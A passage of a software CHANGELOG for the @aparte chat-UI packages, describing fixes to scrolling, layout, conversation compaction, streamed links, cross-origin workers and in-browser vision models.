    A layout settles in stages, so one scrollTop assignment is not enough and the viewport confirms it over the frames that follow. That confirmation was bounded by four frames and stopped at the first frame the gap was closed — and a rebuild is exactly the case that re-opens it. Measured on react-webkit: a branch swap churned the scrollable max 891 -> 1091 -> 891, the gap closed against the tall layout so the chain ended, the height then fell back with the engine holding the position at 720, and the transcript stood 171px short with auto-follow still armed and a scroll-to-bottom button on a reader who never left.

    Two changes. The confirmation is bounded by 400ms instead of four frames — a frame count is a proxy for time that fails precisely on the slow engine — and it keeps watching after a gap closes, until the window is over. And a decrease the reader did not make, which leaves a gap while the follow is armed, re-opens that window; nothing else could close it, since the rebuild’s mutations are over and the resize observer watches the host’s box, not the transcript’s content.

    A reader is still left alone: the intent flag is re-read every frame, and a gesture, a drag-selection upward or a find-in-page jump all disarm the follow before the new path can be reached. A scroll of ours that is still moving down is left alone too — that is every frame of a smooth scroll, and re-anchoring one of them would abort the animation. During a stream the confirmation is now one chain rather than one per token.

    What this does NOT close: the react-webkit branch-swap failure that started the investigation still reproduces at the same rate (18/20 first attempt, with and without this change). Its captured mechanism is a different one — WebKit moves the position up by 36-338px with the scroll height standing still, before the press, which the classifier reads as the reader and disarms the follow — so both new paths, gated on the follow being armed, are inert on it. @aparte/core

  • 4e04443: The four wrappers render <aparte-elicitation> inside their host by default; pass elicitation={false} (:elicitation="false" in Vue, [elicitation]="false" in Angular) to opt out. If your app registers its own presenter with setElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.

    Core’s <aparte-chat> has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: a requestUserInput() under <AparteChat> rejected with the “no presenter” warning, and that warning told you to add the element “inside your <aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to [data-aparte-chat] by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive its streaming flag (aparte-message-start sets it; -done / -error / -aborted clear it) instead of “lifecycle events on window”. @aparte/core

  • a9a3ce4: A streamed turn that ends on finish_reason: 'stop' or 'length' (or a bare [DONE]) after tool-call deltas now emits the accumulated tool_use events instead of dropping them — a call cut mid-arguments is dropped with a console line rather than run on {}. The accumulator no longer inherits from Object.prototype and a vendor’s index is made a number, so a chunk whose index is "__proto__" pollutes nothing. @aparte/provider-openai-compat

  • 0556897: A match() that returns something other than a scenario key — the scenario object, an unknown name — is said in the console, naming what it returned and the keys the provider knows, instead of streaming an empty turn in silence (“Typing…” forever, issue #29). The value-branching pattern — the tool’s result carries the answer, match reads it back from the last tool_result — is documented. @aparte/provider-scenario

  • 4123389: An app-built artifact segment with an upper-case artifactType ('HTML', 'SVG') gets a working Preview tab.

    The card lower-cases artifactType at every read, so a segment an app assembles by hand meets the lower-case names the parser produces. Compared case-sensitively it would not: 'HTML' misses the previewable kinds after the tab has already rendered enabled, and the press shows nothing. @aparte/plugin-artifacts

  • b6f4cc9: The receipt in the transcript reads its answers from the tool’s structuredResult: the shipped renderer hands it the structured value alongside the prose.

    structuredResult is new this release (AparteToolResult.structuredContent travelling with the call), and the receipt reads that path first, falling back to parsing the prose. The renderer the plugin ships passed only the prose, so on the default wiring the structured path was never taken and the receipt was reconstructing what it had been handed. @aparte/plugin-ask-user

  • ec4b2a5: A compaction whose summary arrives after the conversation was switched is refused: the summary never lands on the transcript the user moved to.

    A summarisation is a model call, so seconds pass between reading the transcript and replacing it. If the user switched conversation in that window, the plugin emptied whatever was on screen and appended the summary of the conversation they had left, plus the turns it had selected there — over conversation B, reported as ok: true, and persisted with B by whatever storage the host had wired. A user-pressed abort was the only thing that stopped it.

    The check is the cheapest one that says “this is not the transcript I read”: if not one selected turn is still on the target when the model answers, the whole active path was replaced (a conversation switch, a reset), and the compaction returns { ok: false, error: 'The transcript changed while the summary was being written' } with the matching aparte-compact-error. A transcript that merely changed — a turn deleted, turns appended meanwhile — is not affected: one surviving selected turn is enough, and what arrived is still kept, exactly as before. CompactionSkipReason is unchanged; this is a failure, not a skip. @aparte/plugin-compaction

  • ec4b2a5: A compaction keeps the images and files on the turns it re-appends, and releases the object URLs of the summarised-away turns only.

    A compaction empties the transcript and puts the kept turns straight back. But <aparte-chat-viewport>.clearAll() releases the blob: object URL of every attachment it drops — a deliberate leak fix — so the very messages being re-appended would come back with dead URLs: every image and file chip on a surviving turn, and on anything that arrived while the summary was being written.

    The plugin clears with { revokeAttachments: false } and releases the URLs itself, afterwards, for the summarised-away turns alone. CompactionTarget.clearAll accordingly takes an optional { revokeAttachments?: boolean }; a target of your own may ignore it and keeps working.

    This holds on all four paths: <aparte-chat>, <aparte-chat-viewport>, and — under React, Vue, Svelte and Angular — the wrapper’s own root element, whose clearAll bridge carries the option through to the viewport (a @aparte/core change, shipped in the same commit).

    The plugin’s own suite could not see this: its target is a plain array whose clearAll only empties it. The test that catches it drives a real <aparte-chat-viewport>. @aparte/plugin-compaction

  • ec4b2a5: A compaction summarises every assistant turn it drops, including the turns a host appended with no status at all.

    The summarisation request was built from a hand-written clause that demanded status: 'completed' on an assistant turn. A host that appends its own messages sets no status at all — the shape the guides teach — so its replies were deleted by the compaction without ever reaching the summariser: the user’s questions survived in the summary, every answer to them was gone. The filter is now the inFlight predicate compact() already guards the whole transcript with, so the two cannot disagree. A reply that ended in an error is carried too: the user read it, and it is about to be deleted.

    Related: a compaction whose dropped turns say nothing at all now fails with Nothing summarisable in the dropped turns before the model call, rather than paying for a summary of an empty transcript and replacing the conversation with the answer. @aparte/plugin-compaction

  • 5e13b5d: A link now opens in its own tab from the moment it streams in, instead of only after the message settles.

    The streaming renderer writes DOM directly, so it bypasses the one-shot sanitizer — which is why it already applies core’s URL-scheme policy live through isSafeUrl. It did not apply the other half: until the settle re-render, every model link was a bare anchor that navigated the frame the chat lives in, clickable for the whole length of the reply.

    An external href (https://, http://, the scheme-relative //host, and the spellings that resolve off-site just the same — /\host, http:/host) now gets target="_blank" rel="noopener noreferrer" as it is written. Same-site and in-page links are left alone, exactly as the one-shot path leaves them. The rule is a deliberate, minimal copy of core’s config/sanitize.ts, which owns it — core exports isSafeUrl but not this predicate, and the comment beside it says so. @aparte/plugin-streaming-markdown

  • 3e460f3: All twenty generated element directives are exported — AparteContextDirective, AparteIconDirective and AparteSuggestionsDirective were missing from a hand-written list, so <aparte-icon>, <aparte-suggestions> and <aparte-context> were tags nothing claimed. provideAparte({ themeMode }) reads Angular’s injected DOCUMENT instead of the globals, so an app initializer no longer touches document/window under Universal. @aparte/angular

  • 1b1a715: The bubble each wrapper renders carries data-kind="compaction" when the message is the summary compact() injected (message.compaction), so the notice is drawn as a notice — centred, no avatar, no actions — under a framework too, not only under the vanilla viewport. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 4123389: <AparteUi> forwards ten events it used to swallow when you pass no events of your own: aparte-suggestion, aparte-context-threshold, aparte-scroll-rail-jump, aparte-sidebar-toggle, aparte-split-resize, and the turn’s lifecycle — aparte-message-start, aparte-message-done, aparte-message-error, aparte-message-aborted and aparte-tool-approval-request.

    No wrapper code changed: the default list is APARTE_DEFAULT_UI_EVENTS, it lives in @aparte/core, and the ten names joined it there. It is repeated here because this is the CHANGELOG a wrapper consumer reads, and the effect is theirs — watching a turn end used to mean reaching past <AparteUi> for a window listener, and this release’s shell elements (<aparte-sidebar>, <aparte-split>, <aparte-scroll-rail>) speak through the proxy from their first version. This release’s own new events — aparte-link-click, aparte-rename-conversation, aparte-pin-conversation, aparte-unpin-conversation — joined the same list at birth, so the constant grew by fourteen names in all.

    If you pass your own events array you are unaffected: that list is used verbatim, as before. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 4123389: <AparteUi> applies its props to a freshly created element when only name or events changed, so a memoized prop bag is no longer lost.

    Changing either of those two recreates the element. The props effect then had nothing to react to — the bag was the same object — so a useMemo’d props never reached the new element and the surface came up bare. React now follows the order Vue, Svelte and Angular already used: create, then apply.

    useAparteClient’s JSDoc says options is read once, on mount. @aparte/react

  • 5b2d42a: An uncontrolled <AparteChat> (no messages prop) no longer wipes its own thread on every render and loops — the omitted-prop default was a fresh array each render, and the parent-push effect compared by identity. The published build now carries 'use client' (Rollup dropped the source directive when it merged the module), so the documented Next App Router path works on import. useConversationManager().init(adapter, config?) is typed with the config its JSDoc told you to pass. @aparte/react

  • a7528d1: toolFailed (« Échec ») for the tool row’s new failed state. @aparte/locale-fr

  • 4123389: APARTE_DOCS_URL="" — exported but empty — falls back to the public docs site, and the version the MCP handshake reports is read from the package’s own manifest.

    The base URL is read with ||, not ??: an env var exported but empty is unset, and so is a pasted value that is only whitespace.

    The handshake version is read from package.json at startup rather than written as a literal in the source: changesets bumps the manifest and nothing else, so a literal would report a version npm never served. @aparte/docs-mcp

Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-transformers, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki.

0.16.1

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 4040ba9: The composer examples no longer put style="flex: 1" on <aparte-composer-input> — the stylesheet already gives it flex: 1 1 auto, and the inline value changed the basis to 0%.

    Nineteen examples carried it, across the element docblocks the reference pages are generated from, the guides and the demos. It worked everywhere it was written, which is what made it worth removing: copied into a row where the input’s content should decide its width, flex: 1 1 0% collapses it instead. Reported by a consumer reading the getting-started guide. @aparte/core

  • 6a786c3: A fenced code block written by the model now wraps instead of being silently cut off. Nothing to change on your side.

    @aparte/plugin-marked renders ``` as a bare <pre><code>, and the stylesheet’s only pre rule was scoped to .aparte-code-content-wrapper — a class only the code segment renderer emits, which marked cannot produce. So a markdown block matched no rule and kept the browser’s white-space: pre: it never wrapped, laid itself out at its own intrinsic width, and the bubble’s overflow: hidden amputated the tail. No scrollbar, no ellipsis — the code past the edge was simply gone.

    Measured on one block: scrollWidth was a constant 963px at chat widths 1500, 800, 600, 512 and 380, against client widths of 776 / 724 / 524 / 460 / 328. It overflowed even at 1500. The same two declarations the code card already carries — white-space: pre-wrap and overflow-wrap: anywhere — now apply to prose as well, and the block ends on the column at every width.

    Only the wrapping is shared, not the surface: the card’s padding and background belong to the code segment, and giving a markdown block one is a look decision rather than this fix. @aparte/core

  • 3b5ab3e: The composer no longer goes flush to the chat’s edges on a container narrower than 800px — it takes the same left/right gutter as the transcript. Nothing to change on your side.

    .aparte-composer-shell and .aparte-message both cap at --aparte-message-max-width (800px) and centre with margin: 0 auto, so on a wide container they lined up by construction. Below 800px the cap stops applying and each fills its own parent — and <aparte-composer> had no padding at all, so the composer went edge to edge while the messages kept their inset. Measured at a 512px chat: message column 26/26, composer 0/0. Every chat narrower than 800px was hit: phones, embedded widgets, either pane of <aparte-split>, and an app shell whose docked sidebar leaves the chat narrow on a wide window. <aparte-composer> now reads the transcript’s own --aparte-viewport-padding on its inline axis.

    Framework-managed viewports (React, Vue, Svelte, Angular) also stop overflowing their own chat. <aparte-chat-viewport> is width: 100%, the framework path adds padding to it, and core ships no global border-box reset — so the host was 32px wider than the chat and the chat clipped it, leaving the transcript about 16px toward the end edge. Measured on a 1500px chat: the host was 1532 wide. If your app has a global * { box-sizing: border-box } you never saw this; if it does not, your transcript moves back to centre.

    Two things to know. Content you put directly inside <aparte-composer> without the .aparte-composer-shell wrapper now picks up the same 16px inset, the way the transcript’s wrapper has always inset the messages. And the transcript reserves a scrollbar gutter that the composer cannot: on a platform with classic scrollbars the two columns still differ by that gutter (about 10px per side in Chromium) below 800px, where on a platform with overlay scrollbars — every phone — they now match exactly. @aparte/core

  • 9f9f13d: A tool call’s state (“Done”, “Running”) now ends on the same edge as the reply text. It stopped --aparte-space-3 short of it — six pixels, on the one line of a turn whose whole job is to read as a quiet aside beside the prose. Nothing to change on your side.

    The row’s horizontal padding is its hover surface, not its column, so a negative margin gives it back and puts the row’s content on the message column. That margin was margin-inline-start alone: the chevron, the icon and the name landed on the column, the trailing state did not, and the hover surface bled to the left only. margin-inline gives both sides back.

    Measured at a 512px chat: the text spans L26/R26 and the state’s right edge sat at R32; it is at R26 now, at every width. Reported by a consumer looking at a bubble that mixed a tool call and a text segment in a narrow pane — the case where the two segments sit one above the other and the eye reads the column as crooked. @aparte/core

  • 6484a3c: Scrolling up during a streaming reply now works on WebKit. A wheel notch moves Safari about 33px at a time, and the viewport’s bottom threshold is 50px — so each notch read as “still at the bottom”, the follow stayed armed, and the settle chain put the reader back one millisecond later. Twelve notches, same position. Nothing to change on your side.

    The threshold’s generosity is right and stays: a few pixels of layout drift must not read as “the reader walked away”. What was missing is that it outranked the reader. _readerInputAt — the wheel, touchmove, a navigation key, a press in the scrollbar gutter — already tells a gesture from drift, and the settle logic already trusted it; the arming side did not consult it. It does now, so a decrease with a hand on it disarms whatever its size, while the same 33px with no gesture behind it is still drift and still keeps the follow.

    Measured from CI’s own timestamped scroll log: wheel at 135ms, the reader at 565, scrollTop = 598 written back at 155ms, repeat. @aparte/core

  • 1ed1d25: @aparte/provider-transformers runs when it is served from another origin than the page — a CDN, or any deploy whose assets have their own host.

    Two walls stood between this provider and such a page, and each one hid the next.

    The worker could not be constructed. new Worker() refuses a cross-origin script outright, so the provider threw SecurityError: Script at '…/assets/worker-*.js' cannot be accessed from origin '…' at the first prepareModel(). It is not a CDN-only case: any app whose JavaScript is served from an asset host hits it, bundler or not. The worker is now started through a same-origin blob: whose whole body is one absolute import of the real file — a blob inherits the origin of the document that mints it, which is what makes it legal, and it is the same shim ffmpeg.wasm and tesseract.js use. Same-origin keeps the direct construction: no blob, nothing to revoke, and a stack trace that names the real file. The blob is released when the worker is terminated.

    The worker could not resolve Transformers.js. Its first line imported @huggingface/transformers by bare specifier, and an import map is the document’s: by spec it does not reach a worker, so a page could map the specifier for itself and the worker still could not use it. The worker now resolves the module when it first needs it — import('@huggingface/transformers') first, which is statically visible so a bundler resolves and bundles the peer exactly as before, and failing that the absolute URL the main thread read out of the page’s own import map (through import.meta.resolve, falling back to reading the map) and sent in the worker’s first message.

    Nothing new is exported, and nothing changes for an app with a bundler. For a page without one, the import map it already needs to import @aparte/core by name is now also what tells the worker where Transformers.js lives — the version pin stays with you, which is what the peer dependency was for.

    One case remains impossible: a page whose Content-Security-Policy forbids blob: in worker-src/script-src cannot start a cross-origin worker at all, and the provider now says so by name instead of letting the browser’s own message stand. Serve the package from your own origin there. @aparte/provider-transformers

  • 2763490: The summarisation instruction now travels in the ask itself instead of a system message, so a provider that imposes its own system prompt can no longer drop it.

    A provider serving a local model under a fixed training contract replaces the request’s system message with its own — legitimately. When it did, the instruction never reached the model, nothing errored, and the model answered a bare “Please summarize this conversation.” after somebody else’s persona. Measured by a consumer on three transcripts: one reply refused for want of internet access, one said “noted, I’ll do it”, and one invented figures for a client that appears nowhere in the transcript — which the plugin then wrote back as the summary notice, making the invention the premise of every turn that followed.

    The instruction is not a persona: it is the task of that one request, and it now sits where every provider must look. Nothing changes for a provider that honoured the system message, prompt and DEFAULT_COMPACTION_PROMPT are unchanged, and summarize still bypasses the transport entirely. @aparte/plugin-compaction

  • 77fd6fa: The default summarisation prompt now forbids continuing the conversation. DEFAULT_COMPACTION_PROMPT gains one sentence — “Do not continue the conversation, do not answer a question it contains and do not call a tool: reply with the summary and nothing else.” Nothing to change unless you pass a prompt of your own, in which case add a clause like it.

    Why it matters now: the instruction rides the final user turn, which is also where a reply to the conversation would go. A model handed a transcript that ends in a question has two plausible things to do — summarise it, or answer it — and the answer is what gets written back as the summary notice, becoming the premise of every following turn.

    The clause is not invented here. Of sixteen implementations surveyed, every one that puts its instruction in the user turn carries such a clause, and one inserts a fake assistant turn on top of it. Ours ended at “No preamble.” @aparte/plugin-compaction

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.2

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 705224b: Moving a chat in the DOM (into an <aparte-split> pane, an app shell, any reparenting) no longer disconnects the composer’s wiring: the editor kept the draft in the DOM but value never heard of it, the send button stayed disabled with text visibly in the box, and every composer button had lost its click.

    Every composer child bound its listeners inside _render(), behind the “DOM already there” early return, while disconnectedCallback removed them — so the first reconnect left them deaf. Binding is the connect’s job now, in all five (input, send, cancel, action, add-attachment); _render only builds. The vanilla example’s ?layout=split and ?layout=shell variants moved the chat exactly this way, so the bug was live on both — nothing sent a message there, which is why nothing saw it. @aparte/core

  • 9df343c: overlay-composer on <aparte-chat> (and overlayComposer on all four wrappers): the transcript’s scroll surface spans the whole column and the composer floats over it, so the scrollbar runs edge to edge instead of stopping at the composer’s top — the full-page anatomy the Layout guide sold without this half. Opt-in, never the default: a chat embedded in a small box should not have its composer eating the transcript.

    The viewport leaves the flow (absolute over the shell); elicitation, an above-composer row and the composer keep flowing, bottom-anchored, painted over it. The viewport measures that stack and publishes --aparte-bottom-inset; content, the spacer and the scroll button clear it — and its readers are unconditional (0px unset), so a host that overlays a composer of its own can write the variable by hand without the attribute. When the composer grows under a reader pinned at the bottom, the inset is re-measured and the reader re-anchored in the same observer pass — the view-jump every hand-rolled overlay hits.

    The attribute is read when the viewport wires its observers: set it in the initial markup. Angular binds it on its inner .aparte-chat-container (there the host is the aparte-chat element and the viewport is the inner div’s child) — use the overlayComposer input. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 39b777f: The scroll-to-bottom button floats 16px above the transcript’s bottom edge in framework-managed mode (React, Vue, Svelte, Angular wrappers), at every scroll position. It used to sit the whole padding + spacer higher — up to a few hundred pixels into the messages.

    Two causes, one per symptom. A position: sticky child is clamped to its parent’s content box, and the bottom spacer was carried as padding-bottom on the scrolling host — territory the button could never enter — so it hung padding + spacer above the edge wherever the reader was. The clearance now lives in an ::after flex item instead: still nothing in the DOM, so the framework’s reconciliation sees exactly what it saw before. And a bottom-sticky element sits at its flow position whenever that is above the sticky line, so a button flowing before a 230px spacer drifted upward as the reader neared the bottom — order: 1 puts its flow position after the spacer, and the sticky line always wins.

    If you worked around this with your own padding-bottom: 0 + ::after override on the viewport, you can remove it — it is now a no-op with the same values.

    Two side effects of the rework, caught on screen and now asserted in the smoke suite: an empty transcript no longer grows a scrollbar (the ::after paid the column’s gap the padding never did, and the hidden button’s slide overhung the content end), and the hidden button now fades instead of sliding in framework-managed mode — its flow position is the very end of the content, so the 8px slide was pure scrollable overflow. Core mode keeps the slide.

    Measured in the browser (spacer 0/60/130/230px): the button holds 16px at every distance from the bottom; before, it floated 48/108/178/278px. A new e2e spec (scroll-button.spec.ts) asserts the rendered geometry in both transcript modes on Chromium and WebKit — the first assertion in the repo that locates this button rather than driving it. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.

0.16.3

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 9406f16: In core mode with overlay-composer, the transcript’s scroll surface no longer overruns its host by the composer inset. .aparte-viewport-container is height: 100% and carries the overlay clearance as padding-bottom; without box-sizing: border-box the padding was added to the height, so the surface stood the whole inset taller than the viewport, clipped — that much scrollbar and content cut off at the bottom. Hosts with a global * { box-sizing: border-box } reset (every example app in this repo) never saw it; a page without one did. The box declares its own sizing now. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.4

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • @aparte/engine@0.16.4 @aparte/core

  • e20d80a: Register a model with task: 'image-text-to-text' to run a vision model in the browser, or point runner at a module of your own; a text model now says when it drops an image, and Stop honours ctx.signal.

    The worker forced pipeline('text-generation') on every model: the task the main thread posted was never read, the public type made registering a vision model a TypeScript error, and image parts were flattened away on the main thread with no warning — a photo attached to a text model produced an answer that pretended to have seen it.

    What changed, for the caller:

    • TransformersModelConfig.task is optional and accepts 'text-generation' (the default, unchanged) or 'image-text-to-text' (AutoProcessor + AutoModelForImageTextToText — SmolVLM, Qwen2-VL, LFM2-VL, Gemma 3…). Transformers.js 4.x has no pipeline for that task, so the runner goes through the model classes the way the model cards do. Image parts reach the model as the composer attaches them; a turn without a picture goes through the tokenizer alone (the processor wants images — “hello” as a first message crashed a real SmolVLM until it did).
    • TransformersModelConfig.runner names an ES module of your own exporting createRunner(ctx); it wins over task. The worker imports it (URL resolved against the page) and hands it the same Transformers.js instance the built-ins use. emit speaks the stream vocabulary (text, thinking, tool_use, done, error), signal fires on Stop, ctx.progress / ctx.warn reach the page, dispose() runs on a model switch. New exports: TransformersRunner, RunnerContext, RunnerGenerateInput, RunnerProgress, RunnerModule, CreateRunner, BuiltInRunner, TransformersModule, and runnerCommand(modelId, name, payload) to reach a runner’s command() from the page, queued behind the generates in flight.
    • The text runner warns once when it drops image parts (naming the vision task), as it already did for tool turns.
    • chat() reads ctx.signal: a user’s Stop now interrupts the model, not just the local read (the contract said bridges MUST; this one read it nowhere). Abort and stream-cancel are one stop; a signal already aborted never posts the generate.

    Each runner is its own chunk under dist/assets/, loaded when a model asks for it (a runner imports core for types only — the first build that took a helper from it shipped all of core in a 426 kB chunk; it is 2 kB). Measured on Chromium + WebGPU (AMD Radeon 8060S), page and package on two origins, Transformers.js 4.2.0 from jsDelivr: HuggingFaceTB/SmolVLM-256M-Instruct (fp16/q4/q4) loads in 7 s download included, answers “Rectangle, circle.” to a red square with a blue circle in 3.7 s cold, and Stop ends the stream within two tokens; SmolLM2-135M-Instruct still streams and stops; a 20-line custom runner imported cross-origin drives the transcript and answers a runnerCommand. @aparte/provider-transformers

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.5

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • 8593b60: Five fixes to how the chat feels: the composer no longer comes up ~200 px tall on a slow layout, a send glides to the top instead of jumping, an older message’s action bar sits under the message (in the existing gap, no reserved row), a selected button-group segment reads as selected at rest, and <aparte-split single> shows one pane on demand.

    • Composer (#55). The editor sometimes rendered ~200 px tall while empty, in any host. The auto-grow read scrollHeight at three fixed instants and then only on input; when one fell before the box had its width, the placeholder — a ::before that counts in scrollHeight — wrapped over a dozen lines and the number stuck. A ResizeObserver re-measures on width changes, and the placeholder never wraps (white-space: nowrap, clipped like a native input’s).
    • Send glide (#57). The new user message is meant to glide to the top; it jumped. Measured: five instant scrollTop writes in the send’s own frame (the spacer recalculation pins synchronously, the mutation observer queues another), so the smooth scroll found the view already teleported — and in framework-managed mode the observer’s instant pin ran before the wrapper’s requestSmoothScroll() was honoured (630 px in one frame on React). The glide now begins before the spacer recalculation; while it is in flight, every bottom-pin re-targets it with a second smooth scrollTo (scrollend closes the window, 450 ms budget otherwise); a user bubble the observer sees arrive is a send whoever rendered it. Streaming is instant again after the glide. Reduced motion keeps the instant path. Three engines then refined it: WebKit fires scrollend when a smooth scroll is re-targeted, so only a scrollend that rested at the bottom closes the window; a batch that re-adds several bubbles (a branch swap) is a rebuild, not a send, and pins as it always did; and the reader’s hand ends the glide — wheel and touch stop the animation where it is, a scroll key only closes the window, because the engine animates key scrolls itself. A glide that never arrives is settled by its own timer.
    • Action bar placement (#56). An older message’s bar floated top-right over the header row, because the bubble is a paint-containment boundary and the inter-bubble gap was a flex gap outside every box. The gap is now each bubble’s own padding-block-end (same token, same distance), inside its box, and the bar hangs under the text over message padding-block + gap — 16 + 12 = 28 px at the default density for a 24 px bar. The last reply keeps its always-visible bar in the flow. Two theme tokens appear: --aparte-message-padding-block and --aparte-message-padding-inline; --aparte-message-padding is now derived from them, so a theme that overrode the shorthand should override the two parts instead.
    • Button group (#53). aria-pressed="true", aria-selected="true" or aria-current on a segment of .aparte-btn-group paints it solid in the group’s intent (neutral for --surface), at rest, and hover leaves it alone; a toggled --outline/--soft button outside a group is washed at 30 %, deeper than its 22 % hover. Before, the toggled wash was --aparte-btn-bg-toggled (surface-2), invisible on dark, and hover read as the state.
    • Split (#54). single (boolean) shows one pane — the one pane names — whatever the width: the seam and the other pane are gone, as under the breakpoint, and the seam loses its tab stop. collapsed still folds the primary pane to --aparte-split-min and keeps the seam; the CSS route .aparte-split--only-start/--only-end is unchanged.

    Measured with two new browser specs (the send’s per-frame scrollTop curve and every write to it, on vanilla, React and WebKit; the older reply’s bar geometry, hovered, on vanilla and React) plus 16 unit tests; the scroll-button, overlay, bubble-actions and framework-smoke geometry specs stay green. The check:derived-vars ceiling on responsive sizes moves 8 → 9 for the split padding token. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.

0.16.6

Every @aparte/* package ships at this version (they are released in lockstep).

Patch Changes

  • cc303dc: An elicitation’s question no longer runs under the corner “Skip” button (#50).

    The button is absolutely positioned, so nothing in the flow reserved its width: any message long enough to reach the panel’s edge printed its first line underneath it — measured at 43px of text under “Skip” in a 460px panel. .aparte-elic-message now keeps the same room the tab rail already reserves, from the same token (--aparte-elic-dismiss-room), so the two can never disagree — and a locale whose word is wider than “Skip” bumps one value instead of patching two rules. @aparte/core

  • e8043ba: npm keywords carry the words people actually type — nothing in the code changes.

    Core goes from 5 keywords to 19 (chat-ui, ai-chat, chatbot, chat-component, custom-elements, framework-agnostic, the four framework names, agent, tool-calling, human-in-the-loop, openai); each wrapper gains chat-ui and ai-chat. Measured against the category’s incumbents: none of ours were the terms a search starts from. @aparte/core, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 1f7365f: Presence setters treat '' as ON, so Svelte templates actually set the attribute (#62).

    The attribute types document '' as the spelling for a presence attribute, because React and Vue stringify what they set on a custom element. Svelte 5 takes the property path instead whenever the element has an accessor — and single={''} on <aparte-split> (likewise collapsed, disabled, and the sidebar’s collapsed) handed the setter an empty string that toggleAttribute read as falsy: the attribute was removed, the opposite of what the template asked for, silently. On a presence property an empty string now means ON, exactly as an empty attribute does; false, null and undefined still mean OFF. @aparte/core

Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/locale-fr, @aparte/docs-mcp.

0.16.7

Every @aparte/* package ships at this version (they are released in lockstep).

Every published README opens on its category line, and core’s quickstart says what the client now does on its own (echo included).

Patch Changes

  • 42a9d09: AparteClient echoes the user’s message by default — and echo ownership is a handshake, so nothing doubles.

    The optimistic user bubble used to be every raw-core host’s job: everyone wrote the same aparte-send handler, and whoever forgot shipped a chat where the person cannot see what they typed — it compiles, it streams, and nothing errors. Three consumers hit exactly that.

    Whoever appends the user message marks the event (detail.echoed), and whoever sees the mark yields: the ConversationController (capture phase, so always first) marks for the wrappers’ pairing with a raw client, and the client marks after its own echo, so even two clients on one page render the message once. Attached files ride the echoed bubble as attachments; the wire cannot double — the history builder already excludes trailing unanswered user messages. A raw-core host that still appends its own bubble should drop that handler, or pass echoUserMessage: false to keep ownership. @aparte/core

  • 9df0877: Every package names its documentation page (homepage) — nothing in the code changes.

    npm shows the link first on each package page; none of the twenty had one. Each now points at its own docs page, verified live before it was written. every package

  • b5891b9: The chat follows the system color scheme by default; data-aparte-theme now forces either way — "light" is new.

    Dark existed only behind data-aparte-theme="dark": on a dark OS, an un-attributed chat rendered light on the host’s dark page — unreadable, with no error. Measured by a consumer building from the docs alone. With no attribute, prefers-color-scheme now decides; "dark" still forces dark; "light" (new) forces light, which is the veto a light-always page needs and the escape a themed island inside an opposite page uses. If your app already flips the attribute from its own toggle, nothing changes — the attribute beats the OS in both directions. The dark palette exists twice in the sheet (a media query and an attribute selector cannot share a block); check:derived-vars now holds the copies byte-identical, and holds the light veto to the :root literals, so the duplicates cannot drift. @aparte/core

  • 44a3611: The { text } docs no longer say core parses markdown — a markdown plugin renders it.

